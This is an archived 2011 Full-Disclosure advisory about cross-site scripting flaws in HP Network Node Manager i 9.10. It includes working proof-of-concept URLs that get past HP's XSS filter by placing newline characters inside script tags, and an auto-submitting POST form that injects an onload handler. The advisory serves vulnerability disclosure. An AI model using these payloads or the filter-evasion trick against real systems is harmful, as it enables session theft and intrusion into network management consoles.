full-disclosure - 0A29-11-1 : Cross-Site Scripting vulnerabilities in HP Network Node Manager i 9.10

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CALX_EUTkANwhqPJM2wJB4o_13PrYsqT7D=W7OKDeL09rO6UihA@mail.gmail.com>
Date: Wed, 23 Nov 2011 20:47:57 +0000
From: 0a29 40 <0a2940@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: 0A29-11-1 : Cross-Site Scripting vulnerabilities
 in HP Network Node Manager i 9.10

================
Cross-Site Scripting vulnerabilities in HP Network Node Manager i 9.10

Author: 0a29406d9794e4f9b30b3c5d6702c708

twitter.com/0a29 - 0a29.blogspot.com - GMail 0a2940
================
Description:
================

Multiple XSS vulnerabilities exist within HP NNMi. In the case of GET
request XSS, this is due to a poorly implemented filter that does not
fully protect against XSS.  In the case of POST request XSS, this
appears to be due to a lack of any filter.

Of particular note is the fact that if the user is not logged in they
are presented with the login page and the XSS is activated upon login.

================
Timeline:
================

01 November 2011 - Reported to HP. No response
10 November 2011 - HP publish HPSBMU02708 SSRT100633 rev.1 - HP Network
       Node Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows,
       Remote Cross Site Scripting (XSS) - unknown if related
16 November 2011 - Followup to HP. No response
23 November 2011 - Public disclosure

================
Details:
================

GET
-----

http://site/nnm/mibdiscover?node=<script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/configurationpoll.jsp?nodename=</title><script
%0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/ping.jsp?nodename=</title><script
%0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/statuspoll.jsp?nodename=</title><SCRIPT
%0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/traceroute.jsp?nodename=</title><script
%0D%0A>alert('0a29');</script%0D%0A>

When the filter detects javascript contained in GET request arguments,
the server responds with an error 500 and a stack trace, which starts
with:

javax.servlet.ServletException: Detected JavaScript tag in
QueryString: "nodename=%3C/title%3E%3CSCRIPT%3E"; decoded:
"nodename=</title><script>"
   com.hp.ov.nms.ui.framework.web.HttpContextFilter.assertNoXss(HttpContextFilter.java:282)
   com.hp.ov.nms.ui.framework.web.HttpContextFilter.checkForXssAttack(HttpContextFilter.java:237)

With the PoCs above, this filter is evaded by including newline
characters before the closing ">" of script tags.

POST
-----

PoC HTML:

<body onLoad="submit()">
<form name="form" action="http://site/nnm/validate" method="post">
<input type="hidden" name="binderId" value="ConsoleBinder" />
<input type="hidden" name="operation" value="command" />
<input type="hidden" name="field" value="]]><a
xmlns='http://www.w3.org/1999/xhtml'><body
onload='alert(/0a29/)'/></a>" />
<input type="hidden" name="value" value="a" />
<input type="hidden" name="requestId" value="b" />
<input type="submit" class="button" name="button" />
</form>
<script>
function submit() { document.form.submit(); } </script></body>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/